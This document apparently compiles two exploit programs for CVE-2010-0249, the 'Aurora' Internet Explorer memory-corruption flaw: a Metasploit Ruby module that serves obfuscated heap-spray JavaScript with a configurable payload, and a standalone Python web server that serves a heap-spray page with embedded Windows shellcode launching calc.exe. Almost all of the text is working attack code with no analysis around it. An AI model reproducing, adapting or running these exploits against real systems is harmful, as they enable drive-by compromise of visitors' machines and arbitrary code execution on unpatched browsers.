CVE-2010-0249

##
# $Id: ms10_002_aurora.rb 9787 2010-07-12 02:51:50Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	#
	# Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn
	#
	#include Msf::Exploit::Remote::BrowserAutopwn
	#autopwn_info({
	#	:ua_name    => HttpClients::IE,
	#	:ua_minver  => "6.0",
	#	:ua_maxver  => "6.0",
	#	:javascript => true,
	#	:os_name    => OperatingSystems::WINDOWS,
	#	:vuln_test  => nil, # no way to test without just trying it
	#})

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Internet Explorer "Aurora" Memory Corruption',
			'Description'    => %q{
					This module exploits a memory corruption flaw in Internet Explorer. This
				flaw was found in the wild and was a key component of the "Operation Aurora"
				attacks that lead to the compromise of a number of high profile companies. The
				exploit code is a direct port of the public sample published to the Wepawet
				malware analysis site. The technique used by this module is currently identical
				to the public sample, as such, only Internet Explorer 6 can be reliably exploited.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'unknown',
					'hdm'      # Metasploit port
				],
			'Version'        => '$Revision: 9787 $',
			'References'     =>
				[
					['MSB', 'MS10-002'],
					['CVE', '2010-0249'],
					['OSVDB', '61697'],
					['URL', 'http://www.microsoft.com/technet/security/advisory/979352.mspx'],
					['URL', 'http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&type=js']

				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00",
					'Compat'   =>
						{
							'ConnectionType' => '-find',
						},
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { }],
				],
			'DisclosureDate' => 'Jan 14 2009', # wepawet sample
			'DefaultTarget'  => 0))

		@javascript_encode_key = rand_text_alpha(rand(10) + 10)
	end

	def on_request_uri(cli, request)

		if (request.uri.match(/\.gif/i))
			data = "R0lGODlhAQABAIAAAAAAAAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==".unpack("m*")[0]
			send_response(cli, data, { 'Content-Type' => 'image/gif' })
			return
		end

		if (!request.uri.match(/\?\w+/))
			send_local_redirect(cli, "?#{@javascript_encode_key}")
			return
		end

		var_boom       = rand_text_alpha(rand(100) + 1)

		var_element    = rand_text_alpha(rand(100) + 1)
		var_event      = rand_text_alpha(rand(100) + 1)
		var_loaded     = rand_text_alpha(rand(100) + 1)
		var_loaded_arg = rand_text_alpha(rand(100) + 1)

		var_memory     = rand_text_alpha(rand(100) + 1)
		var_spray      = rand_text_alpha(rand(100) + 1)
		var_i          = rand_text_alpha(rand(100) + 1)

		var_el_array   = rand_text_alpha(rand(100) + 1)
		bleh           = rand_text_alpha(3);
		var_grab_mem   = rand_text_alpha(rand(100) + 1)

		var_unescape   = rand_text_alpha(rand(100) + 1)
		var_shellcode  = rand_text_alpha(rand(100) + 1)

		var_span_id    = rand_text_alpha(rand(100) + 1)
		var_start      = rand_text_alpha(rand(100) + 1)
		rand_html      = rand_text_english(rand(400) + 500)

		js = %Q|var #{var_element} = "COMMENT";
var #{var_el_array} = new Array();
for (i = 0; i < 1300; i++)
{
#{var_el_array}[i] = document.createElement(#{var_element});
#{var_el_array}[i].data = "#{bleh}";
}
var #{var_event} = null;
var #{var_memory} = new Array();
var #{var_unescape} = unescape;
function #{var_boom}()
{
var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "d" + "%u" + "0" + "c" + "0" + "d" );
do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0xd0000 );
for (#{var_i} = 0; #{var_i} < 150; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode};
}
function #{var_loaded}(#{var_loaded_arg})
{
#{var_boom}();
#{var_event} = document.createEventObject(#{var_loaded_arg});
document.getElementById("#{var_span_id}").innerHTML = "";
window.setInterval(#{var_grab_mem}, 50);
}
function #{var_grab_mem}()
{
p = "\\u0c0f\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d";
for (i = 0; i < #{var_el_array}.length; i++)
{
#{var_el_array}[i].data = p;
}
var t = #{var_event}.srcElement;
}
|
		js_encoded = encrypt_js(js, @javascript_encode_key)

		html = %Q|<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
<html>
<head>
<script>
#{js_encoded}
</script>
</head>
<body>
<span id="#{var_span_id}"><iframe src="#{get_resource}#{var_start}.gif" onload="#{var_loaded}(event)" /></span></body></html>
</body>
</html>|

		print_status("Sending #{self.name} to client #{cli.peerhost}")
		# Transmit the compressed response to the client
		send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })

		# Handle the payload
		handler(cli)
	end
end

#
#   Author : Ahmed Obied (ahmed.obied@gmail.com)
#
#   This program acts as a web server that generates an exploit to 
#   target a vulnerability (CVE-2010-0249) in Internet Explorer. 
#   The exploit was tested using Internet Explorer 6 on Windows XP SP2. 
#   The exploit's payload spawns the calculator. 
#
#   Usage  : python ie_aurora.py [port number]
#   
 
import sys
import socket

from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
        
class RequestHandler(BaseHTTPRequestHandler):

    def convert_to_utf16(self, payload):
        enc_payload = ''
        for i in range(0, len(payload), 2):
            num = 0
            for j in range(0, 2):
                num += (ord(payload[i + j]) & 0xff) << (j * 8)
            enc_payload += '%%u%04x' % num
        return enc_payload
                
    def get_payload(self):
        # win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub
        # http://metasploit.com
        payload  = '\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73'
        payload += '\x13\x6f\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e'
        payload += '\x6f\x02\x3a\x4b\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a'
        payload += '\x3a\x51\x4f\x03\x5a\x47\xe4\x36\x3a\x0f\x81\x33\x71\x97'
        payload += '\xc3\x86\x71\x7a\x68\xc3\x7b\x03\x6e\xc0\x5a\xfa\x54\x56'
        payload += '\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68\xe4\x0e\xfa\x85'
        payload += '\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a\x6b\xc1'
        payload += '\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85'
        payload += '\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02'
        payload += '\x3a\x66\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e'
        payload += '\x07\x7c\x69\xec\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61'
        payload += '\xd0\x62\x0c\x2c\xd4\x76\x0a\x02\xb1\x0e'
        return self.convert_to_utf16(payload)
    
    def get_exploit(self):
        exploit = '''
        <html>
        <head>
            <script>
            
            var obj, event_obj;
            
            function spray_heap()
            {
                var chunk_size, payload, nopsled;
            
                chunk_size = 0x80000;
                payload = unescape("<PAYLOAD>");
                nopsled = unescape("<NOP>");
                while (nopsled.length < chunk_size)
                    nopsled += nopsled;
                nopsled_len = chunk_size - (payload.length + 20);        
                nopsled = nopsled.substring(0, nopsled_len);
                heap_chunks = new Array();
                for (var i = 0 ; i < 200 ; i++)
                    heap_chunks[i] = nopsled + payload;
            }
        
            function initialize()
            {
                obj = new Array();
                event_obj = null;
                for (var i = 0; i < 200 ; i++ )
                    obj[i] = document.createElement("COMMENT");
            }
        
            function ev1(evt)
            {
                event_obj = document.createEventObject(evt);
                document.getElementById("sp1").innerHTML = "";
                window.setInterval(ev2, 1);
            }
      
            function ev2()
            {
                var data, tmp;
                
                data = "";
                tmp = unescape("%u0a0a%u0a0a");
                for (var i = 0 ; i < 4 ; i++)
                    data += tmp;
                for (i = 0 ; i < obj.length ; i++ ) {
                    obj[i].data = data;
                }
                event_obj.srcElement;
            }
                    
            function check()
            {
                if (navigator.userAgent.indexOf("MSIE") == -1)
                    return false;
                return true;   
            }
            
            if (check()) {
                initialize();
                spray_heap();               
            }
            else
                window.location = 'about:blank'
                
            </script>
        </head>
        <body>
            <span id="sp1">
            <img src="aurora.gif" onload="ev1(event)">
            </span>        
        </body>
        </html>
        '''
        exploit = exploit.replace('<PAYLOAD>', self.get_payload())
        exploit = exploit.replace('<NOP>', '%u0a0a%u0a0a')
        return exploit 

    def get_image(self):
        content  = '\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff'
        content += '\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44'
        content += '\x01\x00\x3b'
        return content

    def log_request(self, *args, **kwargs):
        pass
        
    def do_GET(self):
        try:
            if self.path == '/':
                print
                print '[-] Incoming connection from %s' % self.client_address[0]
                self.send_response(200) 
                self.send_header('Content-Type', 'text/html')
                self.end_headers()
                print '[-] Sending exploit to %s ...' % self.client_address[0]
                self.wfile.write(self.get_exploit())
                print '[-] Exploit sent to %s' % self.client_address[0]
            elif self.path == '/aurora.gif':      
                self.send_response(200)
                self.send_header('Content-Type', 'image/gif')
                self.end_headers()
                self.wfile.write(self.get_image())
        except: 
            print '[*] Error : an error has occured while serving the HTTP request'
            print '[-] Exiting ...'
            sys.exit(-1)
            
                       
def main():
    if len(sys.argv) != 2:
        print 'Usage: %s [port number (between 1024 and 65535)]' % sys.argv[0]
        sys.exit(0)
    try:
        port = int(sys.argv[1])
        if port < 1024 or port > 65535:
            raise ValueError
        try:
            serv = HTTPServer(('', port), RequestHandler)
            ip = socket.gethostbyname(socket.gethostname())
            print '[-] Web server is running at http://%s:%d/' % (ip, port)
            try:
                serv.serve_forever()
            except:
                print '[-] Exiting ...' 
        except socket.error:
            print '[*] Error : a socket error has occurred'
        sys.exit(-1)    
    except ValueError:
        print '[*] Error : an invalid port number was given'
        sys.exit(-1)
            
if __name__ == '__main__':
    main()